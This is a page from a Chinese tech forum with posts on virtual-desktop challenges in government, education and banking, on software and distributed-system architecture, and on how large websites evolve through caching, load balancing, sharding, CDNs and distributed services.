物理机与虚拟机同时提供服务的模式已经不是什么新东西了,早些年就已经有一大批使用虚拟服务器的政企客户,但涉及的产品基本以国外产品为主。随着国 产化的一系列强制措施和美国对华的服务器CPU的禁售,国产品牌才开始崭露头角。在一些服务器消耗量比较大的政企客户中,也渐渐地在周边业务系统上使用国 产虚拟化产品。我相信在未来几年内,国内虚拟化厂商会在政务云的服务器虚拟化中会占有很大比例,并且是不可替代的重要组成。
痛点----->文件监控:
谈政务云,多数标书中都会提到的一点就是文件监控。一般虚拟化厂商在这方面积累较少,使用fs-notify去开发有一定开发量,所以多数人会使用 第三方产品进行集成。国内常用的文件监控方法即使用Windows文件系统事件通知机制,软件相对比较成熟,在此我就不一一推荐了。那么,既然有现成的 解决方案,那么我为什么要把它列为虚拟化软件的痛点呢?
从我的使用经验来看,主要有以下原因:
技术方面:此类软件一般不止监控文件读写、目录读写、重命名、拷贝,同时也会进行磁盘扫描,而这点,对于用于桌面云的增量磁盘来说是比较高的IOPS负载。对于一台12盘位的15K SAS机械硬盘存储设备,最多能扛住40到70台虚拟机同时扫描(数据来自某国产存储)。
销售方面:标书中有时会提到“上述功能需来自同一厂商提供”,这就需要虚拟化厂商有一定实力,传统监控软件厂商才会与之合作为其定制,而这点对于现 在雨后春笋般的虚拟化厂商而言,正是痛处——目前国内各家虚拟化系统差异化严重,导致传统厂商为虚拟化定制的成本相对会比较高,而不愿意为国内中小厂商定 制了。目前这一状况随着国内市场的虚拟化推进正有所改善。
痛点----->权限管理:
政务中的权限管理包括:虚拟机控制权限管理、桌面软件安装权限管理、文件权限管理,对于开源虚拟化厂商而言,只有虚拟机控制权限自己可以控制,桌面 软件安装权限管理可以借助Windows AD来进行管理,当然需要一定开发量,而较细颗粒的文件权限管理则一样需要借助第三方。
同文件监控一样,但是它一般不会进行后台文件扫描,但技术上要求是要和虚拟化紧耦合的状态,用某次客户交流的原话,“你最好界面里有一个控制台,我可以看到虚拟机里的Word文档,同时我也可以控制哪些人访问哪些文件”
目前来说,这类权限管理软件可以配合集中/分布式存储软件(云存储),一般虚拟化厂商要在开源云存储的基础上进行大量修改才能达到国内政企客户的基本要求。目前国内有许多私有网盘厂商做的都不错,但是比较缺少它们和虚拟化厂商深度合作的案例。
总结:
政务私有桌面项目中,对桌面“虚拟化”的概念不是很有需求,除非有特别文件下发,即使下发后,客户还是倾向于按照传统的那一套路来。如果要在这个行业中产生影响,建议与传统软件厂商合作,一起发力。


教育


教育行业是目前国内大多数虚拟化厂商都在发力的市场,而这方面做的比较好的厂商有两类。一类是专注教育行业数十年乃至更长的传统软件厂商,他们拥有难以复制的经验,其私有云产品往往会弱化“虚拟化”概念,有强烈的“传统”色彩;还有就是专注教育行业的新厂商,他们的对教育行业的需求定位是从私有云的特性考虑,在解决问题的同时也能够将新理念传达至客户。
学校对于虚拟桌面的需求近几年开始增长,教学机房、服务器机房、教师电脑等都有虚拟化产品的进入。而他们在虚拟化产品的采购上,关心桌面体验与服务器性能的同时,也比较在乎“成本”的问题。
场景分析:
通用教学云模型 
sxyun.png

用户桌面:
学校中使用的桌面,一般可分为教师办公桌面和机房教学桌面。
教师桌面即普通办公桌面,主要用途即为老师提供日常办公软件,一般无特殊要求。
对于机房教学桌面,有安装软件繁多、使用时间固定、并发量大等特点,比较考验虚拟化产品的综合素质。桌面安装软件除日常办公软件外,也包括各种文字、图形密集类教学软件,同时也可能会安装影音广播教学类软件。无特殊要求外,很少安装杀毒软件。
系统管理:
对于机房教学桌面,有安装软件繁多、使用时间固定、并发量大等特点,比较考验虚拟化产品的综合素质。桌面安装软件除日常办公软件外,也包括各种文字、图形密集类教学软件,同时也可能会安装影音广播教学类软件。无特殊要求外,很少安装杀毒软件。
安全保障:
教学环境中的安全要求一般比较低,除了常见的流量安全管理软件外,很少有桌面级监控软件。每个老师的桌面一般由管理员定期提醒查杀,主要维护工作还是由各个老师来做。
痛点----->多媒体教学:
那么对于进入教育行业的国内虚拟化厂商,可能都会遇到一个新旧交替环境中必须面对的问题——多媒体广播教学。
传统教学机房使用多媒体广播卡或者广播教学软件来进行教学。多媒体广播卡即是在学生机、教师机上安装的硬件,广播时将教师端桌面转化后直接覆盖学生机的VGA信号,此时使用虚拟桌面并不影响广播体验,但是采用纯软件的多媒体教学系统时情况就有所不同了。这类软件进行视频广播时,默认会利用本地显卡的硬解能力,而一般虚拟化产品中并没有符合要求的模拟GPU硬件支持,所以会带来体验上的硬伤。不过比较喜人的是,这些厂商已经意识到这个问题,开始在其广播教学软件中加入了软解选项从而改善体验。
还有就是在语音质量要求比较高的教学环境中,虚拟化厂商有时也会遭遇意外。语音质量的好坏,除了网络环境外,教学软件、虚拟化软件也有一定影响。在某次测试项目中,公司网络环境下的虚拟桌面语音很流畅、延迟极低,但是到客户机房后,就出现了杂音,声音小等问题。后来我们尝试优化协议、简化虚拟桌面网络拓扑,然后才取得令人满意的效果;
多说一点,在呼叫中心(VoIP、传统PBX)这种语音传输质量要求极高的场景中,有时必须特定硬件配合才能完成虚拟桌面中语音的流畅。
痛点----->3D教学:
对于设计专业、工科专业来说,3D设计、3D模拟、3D建模都是很平常的科目,而这类软件采用学生机本地独显能很好地处理,但是到了虚拟化产品中就是整个开源虚拟化头疼的问题了。一般这种情况下,开源软件从技术上的处理方法可能不如闭源软件(Citrix、PCoIP、RDP RemoteFX)来的稳妥。
由于它涉及到桌面协议、模拟器、GPU等相关知识,所以其开发难度较大,国内私有云厂商在未与GPU提供商合作的前提下很难在点有所突破。
常见设计类软件比如Adobe Fireworks,在虚拟桌面中我们将“显示渲染”设置为“软件”,能够比较流畅的拖动、显示模型,但是此时会占用大量带宽,原生Spice协议此时甚至维持在20MBps,对于拥有几十台教学机的机房而言这点是不可接受的。另一种妥协的解决方式是采用RDP,带宽能降到10MBps,但是使用场景就被大大限制了。
目前,国内这些3D教学类的项目,采用Citrix的多于VMWare,也有人使用Hyper-V,而极少有国内厂商提供KVM虚拟化的方案。我曾在KVM下的GPU虚拟化以及流媒体桌面协议有所尝试。
总结:
目前国内教育行业虚拟化前景广阔,但是伴随着现有kvm虚拟化的一些弱点以及人们面对虚拟桌面教学的担心,厂商在全面推广虚拟桌面的道路上走的比较艰辛。比较令人欣慰的是国内已经有大规模并发虚拟桌面的实例了,这点我相信会是一个很好的开端。


银行


目前国内教育行业虚拟化前景广阔,但是伴随着现有kvm虚拟化的一些弱点以及人们面对虚拟桌面教学的担心,厂商在全面推广虚拟桌面的道路上走的比较艰辛。比较令人欣慰的是国内已经有大规模并发虚拟桌面的实例了,这点我相信会是一个很好的开端。
场景分析:
yyun.png
私有云在银行中目前在研发中心、服务集群、营业网点中都有应用,由于笔者经验有限,在此我们进行的讨论仅限于柜台虚拟桌面。

银行中现阶段核心业务由于历史原因,仍有相当部分的小型机在运行,x86服务器份额也在逐渐提高,并且慢慢取代小机成为核心业务承载。由于银行IT的特殊要求,他们使用虚拟化的步伐比较缓慢,一般在其研发机构或者网点柜台中使用较多。
用户桌面:
柜台桌面功能较为单一,从早期的DOS系统到现在的Win7桌面,柜员也只限于在上面查询、办理业务。所需软件除Office以为,也有一部分本行开发的软件与指定的杀毒软件。对于外设,常见的有高清摄像头、POS设备、读卡设备等。
系统维护:
柜台桌面一般会要求还原模式的桌面,大型网点部署在网点内部,小型网点部署在机房,由IT部门定期维护,系统一旦部署完成之后维护量较少。他们对于虚拟化的要求既是性能和功能只要满足,界面上复杂一些也能接受。
痛点----->外设接入:
那么问题来了,银行柜员桌面的外接设备繁多,除USB口以外也有串口、并口等设备。这些对于物理机来说都很轻松,但是到了虚拟机以后,就会出现这样那样的问题。
读者于此可能会问,外接设备多对于技术上来说只是个协议转发的问题,有什么痛处呢?笔者总结有如下原因:
设备接入到虚拟机以后,数据传输所需的额外带宽可能会对柜员机的其他业务产生影响,降低实时性,但是如果将可压缩数据进行无损压缩,对服务器和客户端又带来一定压力,需要较高性能的服务器与客户的才能保证实时性,势必又会导致虚拟化成本的上升。
由于设备与接口繁多,一般的虚拟化厂商需要投入很大一部分物力与财力,甚至要开发专门的硬件设备来进行设备的重定向操作。很多设备尽管接口相同,但经过重定向以后仍然会出现不可识别的情况,需要厂商到现场进行测试甚至开发。
正因为以上两点综合技术因素,现在众多虚拟化厂商谈到银行外设时仍谈虎色变。
痛点----->高实时性:
影响柜台桌面实时性要求的主要因素有两个,一个是客户端到桌面的连接,另一个是桌面到业务系统的连接。
一般由于虚拟桌面是由IT部门直接部署在离业务系统逻辑位置较近的地方,其网络质量较高,可以保证桌面到业务系统的延迟满足要求。但是客户端到桌面的网络是使用银行专有网络,网点到机房的带宽有限,并发高了以后网络拥堵所造成的延迟甚至丢包都会出现。
总结:
银行业相较于其他行业,其IT技术既先进又保守,而虚拟化产品除VMWare老牌厂商或者有行业背景的厂商外,他们的IT部门或多或少的有一定排斥心理。虽然银行客户交涉难度较大,但是如果成功以后就会树立很良好的产品及企业形象,所以,请努力。

浅谈软件架构设计

开源技术Rock 发表了文章 • 0 个评论 • 1752 次浏览 • 2016-02-26 00:14 • 来自相关话题

软件架构介绍

架构定义:软件架构不仅仅注重软件本身的结构和行为, 还注重其他特性:使用, 功能性, 性能, 弹性, 重用, 可理解性, 经济和技术的限制及权衡。软件架构的目标:
[]可延伸性(Extensible)。在新技术出现的时候,一个软件系统应当允许导入新技术,从而对现有系统进行功能和性能的扩展;[/][]可维护性(Maintainable)。软件系统的维护包括两方面:1、排除现有的错误;2、将新的软件需求反映到现有系统中去,一个易于维护的系统可以有效地降低技术支持的花费。[/][]客户体验(Customer Experience)。软件系统必须易于使用。[/][]市场时机(Time to Market)。软件用户[/]
 
软件逻辑架构:逻辑架构:软件系统中元件之间的关系,比如用户界面,数据库,外部系统接口,商业逻辑元件,等等软件系统的逻辑架构图:




 
软件物理架构:物理架构:软件元件是怎样放到硬件上的?软件系统的物理架构图





物联网架构的演变

单机(One Box)
简单web应用:
[]访问量小[/][]Apache/PHP/MySQL 在同一主机上[/][]瓶颈[/]
                 1、通常先出现在数据库,然后才是Apache/php
                 2、硬盘 I/O (Innodb) 或MyISAM锁等待




 
双机(Two Box)
[]访问量逐渐增大[/][]Apache/PHP在Server A;MySQL在Server B[/][]瓶颈[/]
                 1、硬盘 I/O (Innodb) 或MyISAM锁等待
                 2、网络I/O




 
多机 (Many Boxes with Replication)
[]访问量继续增大[/][]MySQL主从复制及读写分离 (master 负责IN/UP/DEL, slave负责 SELECT)[/][]SELECT, IN/UP/DEL可以在应用程序内指定访问不同服务器 (如使用不同的handle或Db Adapter)[/][]WEB Server可能需要使用负载均衡[/][]NoSQL/Cache/CDN[/]




 
系统分层:




Cache TierMemcached、Redis等广泛使用。



架构新问题
Mysql:
[]Slave Lag 每台Slave数据完全一样。有的忙,有的闲[/][]数据量越来越大,单表过大,查询效率太低;[/]
综合1.2 通常采用
[]memcached数据缓存 [/][]MySQL水平扩展(库表拆分)[/]
Web Server 负载过高 
[]提高PHP代码执行效率 Opcode Cache[/][]静态文件缓存  Squid/Varnish / CDN[/][]负载均衡[/]




 
新架构目标:
[]高可用[/][]高性能 [/][]可扩展 [/][]监控[/][]成本控制[/]

分布式系统架构

分布式系统概念What is a Distributed System?
“一个分布式系统是若干个独立的计算机的集合,但是对该系统的用户来说,系统就像一台计算机一样。”

两方面的含义:
[]硬件方面:各个计算机都是自治的 [/][]软件方面:用户将整个系统看作是一台计算机 [/]
 
 
分布式系统定义:一个分布式系统组织成中间件形式,中间件层分布在多台机器上。



分布式系统优点:




分布式操作系统特点:




 
网络操作系统(NOS)
网络操作系统的一般结构:





分布式系统中设计的关键问题:
透明性(对用户、程序)




灵活性




单内核基本上是目前的集中式操作系统,增加了网络功能和远程服务集合。 
微内核的四种基本服务:
        (1)进程间通信机制
        (2)少量内存管理功能
        (3)必要的低层进程管理和调度
        (4)低层输入/输出服务
可靠性




性能




可伸缩性(scalability)
避免:
[]集中式硬件[/][]集中式算法[/][]集中式的数据结构[/]
 




可扩展性
[]没有一台机器上存放着关于系统状态的全部信息[/][]机器只是基于本地信息做出决定[/][]一个机器出故障不会破坏算法[/][]不一定存在全局时钟。[/]
可扩展性示例:





总结

没有固定的架构,架构都是随着时间和业务的迁徙和变动而发生改变和重构的。所以架构不是一成不变的,也不是淘宝的架构就是万能的,适应你们业务的架构演变的架构就是最优架构。万变不离其宗,但是其底层技术实现和方法是可以借鉴采用大公司场景做法。 查看全部


软件架构介绍


架构定义:
软件架构不仅仅注重软件本身的结构和行为, 还注重其他特性:使用, 功能性, 性能, 弹性, 重用, 可理解性, 经济和技术的限制及权衡。
软件架构的目标:
    []可延伸性(Extensible)。在新技术出现的时候,一个软件系统应当允许导入新技术,从而对现有系统进行功能和性能的扩展;[/][]可维护性(Maintainable)。软件系统的维护包括两方面:1、排除现有的错误;2、将新的软件需求反映到现有系统中去,一个易于维护的系统可以有效地降低技术支持的花费。[/][]客户体验(Customer Experience)。软件系统必须易于使用。[/][]市场时机(Time to Market)。软件用户[/]

 
软件逻辑架构:
逻辑架构:软件系统中元件之间的关系,比如用户界面,数据库,外部系统接口,商业逻辑元件,等等
软件系统的逻辑架构图:
ceng.jpg

 
软件物理架构:
物理架构:软件元件是怎样放到硬件上的?
软件系统的物理架构图
wl.png


物联网架构的演变


单机(One Box)
简单web应用:
    []访问量小[/][]Apache/PHP/MySQL 在同一主机上[/][]瓶颈[/]

                 1、通常先出现在数据库,然后才是Apache/php
                 2、硬盘 I/O (Innodb) 或MyISAM锁等待
one.png

 
双机(Two Box)
    []访问量逐渐增大[/][]Apache/PHP在Server A;MySQL在Server B[/][]瓶颈[/]

                 1、硬盘 I/O (Innodb) 或MyISAM锁等待
                 2、网络I/O
two.png

 
多机 (Many Boxes with Replication)
    []访问量继续增大[/][]MySQL主从复制及读写分离 (master 负责IN/UP/DEL, slave负责 SELECT)[/][]SELECT, IN/UP/DEL可以在应用程序内指定访问不同服务器 (如使用不同的handle或Db Adapter)[/][]WEB Server可能需要使用负载均衡[/][]NoSQL/Cache/CDN[/]

many.png

 
系统分层:
fc.png

Cache Tier
Memcached、Redis等广泛使用。
cache.png

架构新问题
Mysql:
    []Slave Lag 每台Slave数据完全一样。有的忙,有的闲[/][]数据量越来越大,单表过大,查询效率太低;[/]

综合1.2 通常采用
    []memcached数据缓存 [/][]MySQL水平扩展(库表拆分)[/]

Web Server 负载过高 
    []提高PHP代码执行效率 Opcode Cache[/][]静态文件缓存  Squid/Varnish / CDN[/][]负载均衡[/]

fcache.png

 
新架构目标:
    []高可用[/][]高性能 [/][]可扩展 [/][]监控[/][]成本控制[/]


分布式系统架构


分布式系统概念
What is a Distributed System?
“一个分布式系统是若干个独立的计算机的集合,但是对该系统的用户来说,系统就像一台计算机一样。”

两方面的含义:
    []硬件方面:各个计算机都是自治的 [/][]软件方面:用户将整个系统看作是一台计算机 [/]

 
 
分布式系统定义:
一个分布式系统组织成中间件形式,中间件层分布在多台机器上。
fbs.png

分布式系统优点:
yd.png

分布式操作系统特点:
td.png

 
网络操作系统(NOS)
网络操作系统的一般结构:
netos.png


分布式系统中设计的关键问题:
透明性(对用户、程序)
tm.png

灵活性
lhx.png

单内核基本上是目前的集中式操作系统,增加了网络功能和远程服务集合。 
微内核的四种基本服务:
        (1)进程间通信机制
        (2)少量内存管理功能
        (3)必要的低层进程管理和调度
        (4)低层输入/输出服务
可靠性
kkx.png

性能
xn.png

可伸缩性(scalability)
避免:
    []集中式硬件[/][]集中式算法[/][]集中式的数据结构[/]

 
kssx.png

可扩展性
    []没有一台机器上存放着关于系统状态的全部信息[/][]机器只是基于本地信息做出决定[/][]一个机器出故障不会破坏算法[/][]不一定存在全局时钟。[/]

可扩展性示例:
sl.png


总结


没有固定的架构,架构都是随着时间和业务的迁徙和变动而发生改变和重构的。所以架构不是一成不变的,也不是淘宝的架构就是万能的,适应你们业务的架构演变的架构就是最优架构。万变不离其宗,但是其底层技术实现和方法是可以借鉴采用大公司场景做法。

大型网站系统架构演化之路

开源技术being 发表了文章 • 0 个评论 • 670 次浏览 • 2016-01-10 16:26 • 来自相关话题

前言

一个成熟的大型网站(如淘宝、天猫、腾讯等)的系统架构并不是一开始设计时就具备完整的高性能、高可用、高伸缩等特性的,它是随着用户量的增加,业务功能的扩展逐渐演变完善的,在这个过程中,开发模式、技术架构、设计思想也发生了很大的变化,就连技术人员也从几个人发展到一个部门甚至一条产品线。所以成熟的系统架构是随着业务的扩展而逐步完善的,并不是一蹴而就;不同业务特征的系统,会有各自的侧重点,例如淘宝要解决海量的商品信息的搜索、下单、支付;例如腾讯要解决数亿用户的实时消息传输;百度它要处理海量的搜索请求;他们都有各自的业务特性,系统架构也有所不同。尽管如此我们也可以从这些不同的网站背景下,找出其中共用的技术,这些技术和手段广泛运用在大型网站系统的架构中,下面就通过介绍大型网站系统的演化过程,来认识这些技术和手段。

一、最开始的网站架构

最初的架构,应用程序、数据库、文件都部署在一台服务器上,如图:





二、应用、数据、文件分离

随着业务的扩展,一台服务器已经不能满足性能需求,故将应用程序、数据库、文件各自部署在独立的服务器上,并且根据服务器的用途配置不同的硬件,达到最佳的性能效果。





三、利用缓存改善网站性能

在硬件优化性能的同时,同时也通过软件进行性能优化,在大部分的网站系统中,都会利用缓存技术改善系统的性能,使用缓存主要源于热点数据的存在,大部分网站访问都遵循28原则(即80%的访问请求,最终落在20%的数据上),所以我们可以对热点数据进行缓存,减少这些数据的访问路径,提高用户体验。




缓存实现常见的方式是本地缓存、分布式缓存。当然还有CDN、反向代理等,这个后面再讲。本地缓存,顾名思义是将数据缓存在应用服务器本地,可以存在内存中,也可以存在文件,OSCache就是常用的本地缓存组件。本地缓存的特点是速度快,但因为本地空间有限所以缓存数据量也有限。分布式缓存的特点是,可以缓存海量的数据,并且扩展非常容易,在门户类网站中常常被使用,速度按理没有本地缓存快,常用的分布式缓存是Memcached、Redis。

四、使用集群改善应用服务器性能

应用服务器作为网站的入口,会承担大量的请求,我们往往通过应用服务器集群来分担请求数。应用服务器前面部署负载均衡服务器调度用户请求,根据分发策略将请求分发到多个应用服务器节点。




常用的负载均衡技术硬件的有F5,价格比较贵,软件的有LVS、Nginx、HAProxy。LVS是四层负载均衡,根据目标地址和端口选择内部服务器,Nginx和HAProxy是七层负载均衡,可以根据报文内容选择内部服务器,因此LVS分发路径优于Nginx和HAProxy,性能要高些,而Nginx和HAProxy则更具配置性,如可以用来做动静分离(根据请求报文特征,选择静态资源服务器还是应用服务器)。

五、数据库读写分离和分库分表

随着用户量的增加,数据库成为最大的瓶颈,改善数据库性能常用的手段是进行读写分离以及分库分表,读写分离顾名思义就是将数据库分为读库和写库,通过主备功能实现数据同步。分库分表则分为水平切分和垂直切分,水平切分则是对一个数据库特大的表进行拆分,例如用户表。垂直切分则是根据业务的不同来切分,如用户业务、商品业务相关的表放在不同的数据库中。





六、使用CDN和反向代理提高网站性能

假如我们的服务器都部署在成都的机房,对于四川的用户来说访问是较快的,而对于北京的用户访问是较慢的,这是由于四川和北京分别属于电信和联通的不同发达地区,北京用户访问需要通过互联路由器经过较长的路径才能访问到成都的服务器,返回路径也一样,所以数据传输时间比较长。对于这种情况,常常使用CDN解决,CDN将数据内容缓存到运营商的机房,用户访问时先从最近的运营商获取数据,这样大大减少了网络访问的路径。比较专业的CDN运营商有蓝汛、网宿。




而反向代理,则是部署在网站的机房,当用户请求达到时首先访问反向代理服务器,反向代理服务器将缓存的数据返回给用户,如果没有缓存数据才会继续访问应用服务器获取,这样做减少了获取数据的成本。反向代理有Squid,Nginx。

七、使用分布式文件系统

用户一天天增加,业务量越来越大,产生的文件越来越多,单台的文件服务器已经不能满足需求,这时就需要分布式文件系统的支撑。常用的分布式文件系统有GFS、HDFS、TFS。





八、使用NoSql和搜索引擎

对于海量数据的查询和分析,我们使用nosql数据库加上搜索引擎可以达到更好的性能。并不是所有的数据都要放在关系型数据中。常用的NOSQL有mongodb、hbase、redis,搜索引擎有lucene、solr、elasticsearch。





九、将应用服务器进行业务拆分

随着业务进一步扩展,应用程序变得非常臃肿,这时我们需要将应用程序进行业务拆分,如百度分为新闻、网页、图片等业务。每个业务应用负责相对独立的业务运作。业务之间通过消息进行通信或者共享数据库来实现。





十、搭建分布式服务

这时我们发现各个业务应用都会使用到一些基本的业务服务,例如用户服务、订单服务、支付服务、安全服务,这些服务是支撑各业务应用的基本要素。我们将这些服务抽取出来利用分部式服务框架搭建分布式服务。阿里的Dubbo是一个不错的选择。





总结

大型网站的架构是根据业务需求不断完善的,根据不同的业务特征会做特定的设计和考虑,本文只是讲述一个常规大型网站会涉及的一些技术和手段。

分享阅读整理原文:http://www.cnblogs.com/leefreeman/p/3993449.html
参考书籍:《大型网站技术架构》《海量运维运营规划》 查看全部


前言


一个成熟的大型网站(如淘宝、天猫、腾讯等)的系统架构并不是一开始设计时就具备完整的高性能、高可用、高伸缩等特性的,它是随着用户量的增加,业务功能的扩展逐渐演变完善的,在这个过程中,开发模式、技术架构、设计思想也发生了很大的变化,就连技术人员也从几个人发展到一个部门甚至一条产品线。所以成熟的系统架构是随着业务的扩展而逐步完善的,并不是一蹴而就;不同业务特征的系统,会有各自的侧重点,例如淘宝要解决海量的商品信息的搜索、下单、支付;例如腾讯要解决数亿用户的实时消息传输;百度它要处理海量的搜索请求;他们都有各自的业务特性,系统架构也有所不同。尽管如此我们也可以从这些不同的网站背景下,找出其中共用的技术,这些技术和手段广泛运用在大型网站系统的架构中,下面就通过介绍大型网站系统的演化过程,来认识这些技术和手段。


一、最开始的网站架构


最初的架构,应用程序、数据库、文件都部署在一台服务器上,如图:
website_arch1.png


二、应用、数据、文件分离


随着业务的扩展,一台服务器已经不能满足性能需求,故将应用程序、数据库、文件各自部署在独立的服务器上,并且根据服务器的用途配置不同的硬件,达到最佳的性能效果。
website_arch2.png


三、利用缓存改善网站性能


在硬件优化性能的同时,同时也通过软件进行性能优化,在大部分的网站系统中,都会利用缓存技术改善系统的性能,使用缓存主要源于热点数据的存在,大部分网站访问都遵循28原则(即80%的访问请求,最终落在20%的数据上),所以我们可以对热点数据进行缓存,减少这些数据的访问路径,提高用户体验。
website_arch3.png

缓存实现常见的方式是本地缓存、分布式缓存。当然还有CDN、反向代理等,这个后面再讲。本地缓存,顾名思义是将数据缓存在应用服务器本地,可以存在内存中,也可以存在文件,OSCache就是常用的本地缓存组件。本地缓存的特点是速度快,但因为本地空间有限所以缓存数据量也有限。分布式缓存的特点是,可以缓存海量的数据,并且扩展非常容易,在门户类网站中常常被使用,速度按理没有本地缓存快,常用的分布式缓存是Memcached、Redis。


四、使用集群改善应用服务器性能


应用服务器作为网站的入口,会承担大量的请求,我们往往通过应用服务器集群来分担请求数。应用服务器前面部署负载均衡服务器调度用户请求,根据分发策略将请求分发到多个应用服务器节点。
website_arch4.png

常用的负载均衡技术硬件的有F5,价格比较贵,软件的有LVS、Nginx、HAProxy。LVS是四层负载均衡,根据目标地址和端口选择内部服务器,Nginx和HAProxy是七层负载均衡,可以根据报文内容选择内部服务器,因此LVS分发路径优于Nginx和HAProxy,性能要高些,而Nginx和HAProxy则更具配置性,如可以用来做动静分离(根据请求报文特征,选择静态资源服务器还是应用服务器)。


五、数据库读写分离和分库分表


随着用户量的增加,数据库成为最大的瓶颈,改善数据库性能常用的手段是进行读写分离以及分库分表,读写分离顾名思义就是将数据库分为读库和写库,通过主备功能实现数据同步。分库分表则分为水平切分和垂直切分,水平切分则是对一个数据库特大的表进行拆分,例如用户表。垂直切分则是根据业务的不同来切分,如用户业务、商品业务相关的表放在不同的数据库中。
website_arch5.png


六、使用CDN和反向代理提高网站性能


假如我们的服务器都部署在成都的机房,对于四川的用户来说访问是较快的,而对于北京的用户访问是较慢的,这是由于四川和北京分别属于电信和联通的不同发达地区,北京用户访问需要通过互联路由器经过较长的路径才能访问到成都的服务器,返回路径也一样,所以数据传输时间比较长。对于这种情况,常常使用CDN解决,CDN将数据内容缓存到运营商的机房,用户访问时先从最近的运营商获取数据,这样大大减少了网络访问的路径。比较专业的CDN运营商有蓝汛、网宿。
website_arch6.png

而反向代理,则是部署在网站的机房,当用户请求达到时首先访问反向代理服务器,反向代理服务器将缓存的数据返回给用户,如果没有缓存数据才会继续访问应用服务器获取,这样做减少了获取数据的成本。反向代理有Squid,Nginx。


七、使用分布式文件系统


用户一天天增加,业务量越来越大,产生的文件越来越多,单台的文件服务器已经不能满足需求,这时就需要分布式文件系统的支撑。常用的分布式文件系统有GFS、HDFS、TFS。
website_arch7.png


八、使用NoSql和搜索引擎


对于海量数据的查询和分析,我们使用nosql数据库加上搜索引擎可以达到更好的性能。并不是所有的数据都要放在关系型数据中。常用的NOSQL有mongodb、hbase、redis,搜索引擎有lucene、solr、elasticsearch。
website_arch8.png


九、将应用服务器进行业务拆分


随着业务进一步扩展,应用程序变得非常臃肿,这时我们需要将应用程序进行业务拆分,如百度分为新闻、网页、图片等业务。每个业务应用负责相对独立的业务运作。业务之间通过消息进行通信或者共享数据库来实现。
website_arch9.png


十、搭建分布式服务


这时我们发现各个业务应用都会使用到一些基本的业务服务,例如用户服务、订单服务、支付服务、安全服务,这些服务是支撑各业务应用的基本要素。我们将这些服务抽取出来利用分部式服务框架搭建分布式服务。阿里的Dubbo是一个不错的选择。
website_arch10.png


总结


大型网站的架构是根据业务需求不断完善的,根据不同的业务特征会做特定的设计和考虑,本文只是讲述一个常规大型网站会涉及的一些技术和手段。


分享阅读整理原文:http://www.cnblogs.com/leefreeman/p/3993449.html
参考书籍:《大型网站技术架构》《海量运维运营规划》


互联网web架构和服务架构、存储解决方案、和云存储技术分享!